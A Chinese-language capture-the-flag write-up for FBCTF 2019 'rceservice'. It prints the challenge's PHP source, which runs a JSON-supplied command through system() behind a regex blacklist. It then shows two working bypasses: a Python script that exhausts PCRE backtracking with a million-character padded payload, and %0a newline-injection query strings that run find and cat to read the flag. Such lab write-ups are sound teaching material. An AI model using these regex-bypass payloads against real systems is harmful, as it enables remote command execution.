[FBCTF 2019]rceservice 详细题解
知识点:
json字符串
PHP正则表达式元字符
PCRE回溯机制绕过正则表达式
%0a 换行符绕过正则表达式(详细讲解)
提示 Enter command as JSON
题目还有一个附件,打开是index.php文件源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
代码中$cmd = json_decode($json, true)['cmd'];
json_decode(): 这个函数用于将JSON格式的字符串解码为PHP变量,参数 $json 是要被解码的 JSON 字符串,格式类似 {"cmd": "ls"}
json_decode第二个参数被设置为true,意味着json_decode函数将返回一个关联数组(array)而不是一个对象(object),把json_decode函数返回的关联数组中的'cmd'键对应的值赋值给变量$command
这里正则表达式明显过滤的非常严格,过滤了非常多东西,使用的格式是 ^.*(捕获组).*$
.
表示匹配任意单个字符(除了换行符)
*
是量词,表示前面的元素可以出现0次或多次。
.*
表示匹配任意数量的任意字符(默认不会匹配换行符,需要修饰符才会匹配)
加上^ 变成 ^.* 表示从字符串的开始位置匹配任意数量的任意字符
后面的 .*$ 表示从当前位置匹配任意数量的任意字符,直到行尾
括号表示捕获组,可以在匹配过程中捕获一部分匹配的内容,并且可以在后续处理中引用这些被捕获的部分
注意到正则匹配中 [\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+
\x00-\x1F 表示从 ASCII 码 0 到 31 的字符(控制字符),A-Z0-9 就是大写字母和数字,这里没有用修饰符i 没有过滤小写字母,后面的+表示可以匹配1次或多次
正则表达式中的构造会在下面第二种解法中详细讲解
既然没有过滤小写字母,那么传入{"cmd": "ls"} 回显 index.php
但是传入{"cmd": "ls /"} 就会回显 Hacking attempt detected 因为/ 被禁止了
到这里基本上就没有机会了,正常的传参是行不通的,过滤的太严格,只能想办法绕过正则
解法一: PCRE回溯机制绕过正则表达式
具体的原理和思路可以参考大佬的文章,这里不多赘述,文章讲的很好,清晰明了
PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
简而言之就是PCRE回溯机制有一个回溯限制次数——大约100 万次,当回溯超出这个次数,还没吐完的字符串就可以逃逸绕过匹配
通过发送超长字符串的方式,使正则执行失败,让传入的参数逃逸,从而正常执行命令绕过限制
那么就传入一个json格式字符串,里面的键名为cmd,键值为执行的命令
然后在payload后加上100万个字符即可,等匹配超过这个次数时语句自然就可以逃逸掉
不过一般这种逃逸需要post传参,因为get传参是有长度限制的,100万的参数长度明显有点太过于庞大了
前面传入命令的时候可以看到参数cmd在url中回显了,所以大家会认为是GET形式
但是如果大家抓包测试post传参的话会得到一样的效果,例如我post传参cmd={"cmd":"ls"} 依然回显了index.php
估计源码应该是用了$_REQUEST 来接收参数,当然只是我个人的猜测
下面给出字符串逃逸脚本:
import requests
payload = '{"cmd":"ls /", "abc":"'+'a'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28794/",data = {"cmd":payload})
print(res.text)
payload里面除了前面cmd的命令不要改动之外,其他的参数如 abc 可以随意,后面的a也随意,长度满足即可
没有发现flag文件,查看一下环境变量有没有flag 把 ls / 改为 env 执行system('env')
发现没有回显,那么flag文件应该就在这些根目录某个路径下 使用find命令查找一下
find / -name flag 发现依然没有回显,难道flag文件名中没有flag 测试一下index.php文件能不能find
发现index.php 也无法find 那么应该是没有成功执行find 命令
putenv('PATH=/home/rceservice/jail');
这行 PHP 代码的作用是设置环境变量 PATH 的值为 /home/rceservice/jail
意味着我们无法直接去调用find cat等命令,因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令需要使用其存放的绝对路径去调用
可以用where find whereis find 或者 which find 来查看find命令的路径
这里传参给cmd是不会回显find命令的路径的,可以自己linux系统中输出查看
find命令 在/bin/ 和 /usr/bin/ 目录下都存在 这里只有/usr/bin/find 路径可以使用
改一下代码
payload = '{"cmd":"/usr/bin/find / -name flag", "abc":"'+'a'*1000000+'"}'
成功得到/home/rceservice/flag
cat命令和find命令一样在 /bin/ 和 /usr/bin/ 目录下都存在 不知道为什么这里只能/bin/cat 才能使用而find命令在/usr/bin/find 才能使用,如果有大佬知道的话可以评论一下
payload = '{"cmd":"/bin/cat /home/rceservice/flag", "abc":"'+'a'*1000000+'"}'
成功得到flag
解法二: %0a 绕过
这里重点讲一下%0a 构造的位置问题
正则表达式是 ^...$ 格式 如果没有修饰符m 那么^只会匹配第一行的内容,可以利用%0a换行符绕过
而且这里还用了.* 贪婪匹配 也没有修饰符s 所以 .* 也不会匹配换行符%0a
那么只需传入换行符%0a,那么就可以绕过 .* 从而绕过正则匹配
但是这里正则匹配表达式中 \x00-\x1F 过滤了ascii码 0-31 的控制字符,包含了换行符,因此%0a会被匹配
也就是说如果传入的命令是
{%0a"cmd":"/bin/cat /home/rceservice/flag"}
此时 .* 匹配了最开始的左括号{ 因为遇到%0a就不匹配了,然后正则表达式括号中的\x00-\x1F 匹配了换行符%0a 而后面的+表示可以匹配1次或多次,因此在%0a后面再多添加几个%0a也没用 最后的.* 匹配了"cmd":"/bin/cat /home/rceservice/flag"} 从而匹配成功,如下图所示
这是我测试正则匹配的简单代码,数字 1 2 3 代表引用代码中正则表达式的三个括号捕获组的结果
如果在字符串最末尾的 } 之前加上一个%0a 变成
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
此时.* 匹配 { 而\x00-\x1F 匹配了第一个%0a 但是最后的 .* 不能匹配换行符,因此也匹配不到换行后的 } 所以不能匹配到完整字符串,返回值为空,完成正则绕过
构造 即可得到flag
?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
在单行模式下 $元字符 似乎会忽略在句尾的 %0a
如果%0a 添加在字符串最后的话依然会被匹配,至少需要两个%0a才可以,不太确定原理,大佬们知道的话可以指点一下
其他构造格式:
或者如果在字符串的 { 前面加上%0a 变成 %0a{"cmd":"/bin/cat /home/rceservice/flag"}
此时第一个.* 匹配的不是空null, 是空字符串"",因为*可以匹配0次或多次, \x00-\x1F 匹配了%0a 最后的.*匹配到字符串结束 从而也会匹配成功
那么可以在后面多加一个%0a来绕过,当然不能直接加在第一个%0a后面,这样会被+匹配多次,只要跟第一个%0a隔开就可以,这样第二个换行符不会被最后的.*匹配,无法遍历完整字符串,绕过匹配
下面这些也是正确的格式,例如:
?cmd=%0a{%0a"cmd":"/bin/cat /home/rceservice/flag"}
?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"%0a}
不过还是不能把%0a加在最后,如果要想在最后加%0a,至少要加2个%0a
例如
?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"}%0a%0a